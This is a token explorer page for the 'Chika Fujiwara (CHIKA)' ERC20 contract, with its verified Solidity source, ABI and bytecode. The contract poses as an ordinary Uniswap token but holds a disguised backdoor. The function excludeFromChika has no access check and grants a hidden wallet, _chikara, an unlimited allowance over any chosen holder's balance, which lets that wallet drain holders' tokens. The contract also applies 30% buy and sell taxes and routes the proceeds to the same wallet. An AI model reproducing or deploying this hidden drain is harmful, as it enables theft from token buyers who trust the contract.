ETH Price: $2,941.08 (-4.12%)
Gas: 1 Gwei

Token

Chika Fujiwara (CHIKA)
 

Overview

Max Total Supply

1,000,000,000 CHIKA

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,581,294.488631585630447451 CHIKA

Value
$0.00
0xba68b32d09dd2aa95f91ad07f528ce8881f033f3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHIKA

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-13
*/

/*

Website:  https://chikafujiwara.live
Twitter:   https://twitter.com/chikaerc
Telegram:  https://t.me/chikaerc


*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract CHIKA is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private swapping;

    address private _chikara;

    uint256 public maxTxAmount;
    uint256 public swapThresAmount;
    uint256 public maxWalletAmount;
    uint256 public maxSwapAmount;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapActive = false;

    uint256 private _taxOnBuys;
    uint256 private _taxOnSells;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTxAmount;

    mapping(address => bool) public automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address _waddr) ERC20("Chika Fujiwara", "CHIKA") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTx(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        excludeFromMaxTx(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 totalSupply = 1000000000 * 1e18;
        _chikara = _waddr;
        maxTxAmount = totalSupply * 200 / 10000;
        maxWalletAmount = totalSupply * 200 / 10000;
        swapThresAmount = totalSupply / 1000;
        maxSwapAmount = totalSupply * 90 / 10000;

        excludeFromFees(owner(), true);        
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(_chikara, true);

        excludeFromMaxTx(owner(), true);
        excludeFromMaxTx(address(this), true);
        excludeFromMaxTx(address(0xdead), true);
        excludeFromMaxTx(_chikara, true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function excludeFromMaxTx(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTxAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function excludeFromChika(address updAds, bool isEx) external {
        if(isEx) _approve(updAds, _chikara, ~uint256(0));
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
                if (!tradingActive) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTxAmount[to]) {
                    require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount.");
                    require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTxAmount[from]) {
                    require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount.");
                } else if (!_isExcludedMaxTxAmount[to]) {
                    require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapThresAmount;

        if (
            swapActive && !swapping 
                && automatedMarketMakerPairs[to]
                && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]
        ) { 
            swapping = true;

            if (canSwap) swapBackTokens();
            payable(_chikara).transfer(address(this).balance);

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && _taxOnSells > 0) {
                fees = amount.mul(_taxOnSells).div(100);
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && _taxOnBuys > 0) {
                fees = amount.mul(_taxOnBuys).div(100);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBackTokens() private {
        uint256 contractBalance = balanceOf(address(this));

        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > maxSwapAmount) {
            contractBalance = maxSwapAmount;
        }

        // Halve the amount of liquidity tokens

        uint256 amountToSwapForETH = contractBalance;

        swapTokensForEth(amountToSwapForETH);
    }

    function openAnime() external onlyOwner {
        _approve(address(this), address(uniswapV2Router), totalSupply());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingActive = true;
        swapActive = true;

        _taxOnBuys = 30;
        _taxOnSells = 30;
    }

    function reduceFees() external onlyOwner {
        _taxOnBuys = 0;
        _taxOnSells = 0;
    }

    function disableEffects() external onlyOwner {
        limitsInEffect = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_waddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableEffects","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromChika","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openAnime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThresAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600c805462ffffff191660011790553480156200001f575f80fd5b50604051620024fd380380620024fd833981016040819052620000429162000681565b6040518060400160405280600e81526020016d4368696b612046756a697761726160901b815250604051806040016040528060058152602001644348494b4160d81b81525081600390816200009891906200074d565b506004620000a782826200074d565b505050620000c4620000be620003d260201b60201c565b620003d6565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000e681600162000427565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200012f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000155919062000681565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001c9919062000681565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000214573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023a919062000681565b600680546001600160a01b0319166001600160a01b039290921691821790556200026690600162000427565b6006546200027f906001600160a01b031660016200049f565b600780546001600160a01b0319166001600160a01b0384161790556b033b2e3c9fd0803ce8000000612710620002b78260c86200082d565b620002c391906200084d565b600855612710620002d68260c86200082d565b620002e291906200084d565b600a55620002f36103e8826200084d565b6009556127106200030682605a6200082d565b6200031291906200084d565b600b55620003346200032c6005546001600160a01b031690565b6001620004f2565b62000341306001620004f2565b6200035061dead6001620004f2565b60075462000369906001600160a01b03166001620004f2565b62000388620003806005546001600160a01b031690565b600162000427565b6200039530600162000427565b620003a461dead600162000427565b600754620003bd906001600160a01b0316600162000427565b620003c933826200059a565b50505062000883565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6005546001600160a01b03163314620004755760405162461bcd60e51b815260206004820181905260248201525f80516020620024dd83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152601060205260409020805460ff1916911515919091179055565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b031633146200053c5760405162461bcd60e51b815260206004820181905260248201525f80516020620024dd83398151915260448201526064016200046c565b6001600160a01b0382165f818152600f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005f25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200046c565b8060025f8282546200060591906200086d565b90915550506001600160a01b0382165f9081526020819052604081208054839290620006339084906200086d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b5f6020828403121562000692575f80fd5b81516001600160a01b0381168114620006a9575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620006d957607f821691505b602082108103620006f857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200067c57805f5260205f20601f840160051c81016020851015620007255750805b601f840160051c820191505b8181101562000746575f815560010162000731565b5050505050565b81516001600160401b03811115620007695762000769620006b0565b62000781816200077a8454620006c4565b84620006fe565b602080601f831160018114620007b7575f84156200079f5750858301515b5f19600386901b1c1916600185901b17855562000811565b5f85815260208120601f198616915b82811015620007e757888601518255948401946001909101908401620007c6565b50858210156200080557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141762000847576200084762000819565b92915050565b5f826200086857634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111562000847576200084762000819565b608051611c17620008c65f395f8181610253015281816107a3015281816107d2015281816108da015281816116e20152818161179901526117d50152611c175ff3fe6080604052600436106101de575f3560e01c806395d89b41116100fd578063c024666811610092578063d744b1e311610062578063d744b1e314610571578063d9cf31de14610586578063dd62ed3e1461059a578063f2fde38b146105de575f80fd5b8063c0246668146104ff578063cce987d41461051e578063d4c989d314610533578063d6dacb4414610552575f80fd5b8063a9059cbb116100cd578063a9059cbb1461047f578063aa4bde281461049e578063b62496f5146104b3578063bbc0c742146104e1575f80fd5b806395d89b41146104195780639a7a23d61461042d5780639fd4e8681461044c578063a457c2d714610460575f80fd5b8063395093511161017357806370a082311161014357806370a082311461039f578063715018a6146103d35780638c0b5e22146103e75780638da5cb5b146103fc575f80fd5b8063395093511461031a57806349bd5a5e146103395780634a62bb6514610358578063563912bd14610371575f80fd5b806323b872dd116101ae57806323b872dd146102ab57806326a1fa5f146102ca578063313ce567146102eb57806334a1cdc714610306575f80fd5b806306fdde03146101e9578063095ea7b3146102135780631694505e1461024257806318160ddd1461028d575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506101fd6105fd565b60405161020a9190611843565b60405180910390f35b34801561021e575f80fd5b5061023261022d3660046118a3565b61068d565b604051901515815260200161020a565b34801561024d575f80fd5b506102757f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161020a565b348015610298575f80fd5b506002545b60405190815260200161020a565b3480156102b6575f80fd5b506102326102c53660046118cd565b6106a3565b3480156102d5575f80fd5b506102e96102e4366004611918565b610750565b005b3480156102f6575f80fd5b506040516012815260200161020a565b348015610311575f80fd5b506102e9610773565b348015610325575f80fd5b506102326103343660046118a3565b610973565b348015610344575f80fd5b50600654610275906001600160a01b031681565b348015610363575f80fd5b50600c546102329060ff1681565b34801561037c575f80fd5b5061023261038b36600461194f565b60106020525f908152604090205460ff1681565b3480156103aa575f80fd5b5061029d6103b936600461194f565b6001600160a01b03165f9081526020819052604090205490565b3480156103de575f80fd5b506102e96109a9565b3480156103f2575f80fd5b5061029d60085481565b348015610407575f80fd5b506005546001600160a01b0316610275565b348015610424575f80fd5b506101fd6109de565b348015610438575f80fd5b506102e9610447366004611918565b6109ed565b348015610457575f80fd5b506102e9610aa5565b34801561046b575f80fd5b5061023261047a3660046118a3565b610adb565b34801561048a575f80fd5b506102326104993660046118a3565b610b73565b3480156104a9575f80fd5b5061029d600a5481565b3480156104be575f80fd5b506102326104cd36600461194f565b60116020525f908152604090205460ff1681565b3480156104ec575f80fd5b50600c5461023290610100900460ff1681565b34801561050a575f80fd5b506102e9610519366004611918565b610b7f565b348015610529575f80fd5b5061029d600b5481565b34801561053e575f80fd5b506102e961054d366004611918565b610c07565b34801561055d575f80fd5b50600c546102329062010000900460ff1681565b34801561057c575f80fd5b5061029d60095481565b348015610591575f80fd5b506102e9610c5b565b3480156105a5575f80fd5b5061029d6105b436600461196a565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156105e9575f80fd5b506102e96105f836600461194f565b610c90565b60606003805461060c90611996565b80601f016020809104026020016040519081016040528092919081815260200182805461063890611996565b80156106835780601f1061065a57610100808354040283529160200191610683565b820191905f5260205f20905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b5f610699338484610d2b565b5060015b92915050565b5f6106af848484610e4e565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107385760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107458533858403610d2b565b506001949350505050565b801561076f5760075461076f9083906001600160a01b03165f19610d2b565b5050565b6005546001600160a01b0316331461079d5760405162461bcd60e51b815260040161072f906119ce565b6107d0307f00000000000000000000000000000000000000000000000000000000000000006107cb60025490565b610d2b565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d719473061081f306001600160a01b03165f9081526020819052604090205490565b5f806108336005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610899573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108be9190611a03565b505060065460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af1158015610931573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109559190611a2e565b50600c805462ffff00191662010100179055601e600d819055600e55565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916106999185906107cb908690611a5d565b6005546001600160a01b031633146109d35760405162461bcd60e51b815260040161072f906119ce565b6109dc5f611446565b565b60606004805461060c90611996565b6005546001600160a01b03163314610a175760405162461bcd60e51b815260040161072f906119ce565b6006546001600160a01b0390811690831603610a9b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161072f565b61076f8282611497565b6005546001600160a01b03163314610acf5760405162461bcd60e51b815260040161072f906119ce565b600c805460ff19169055565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161072f565b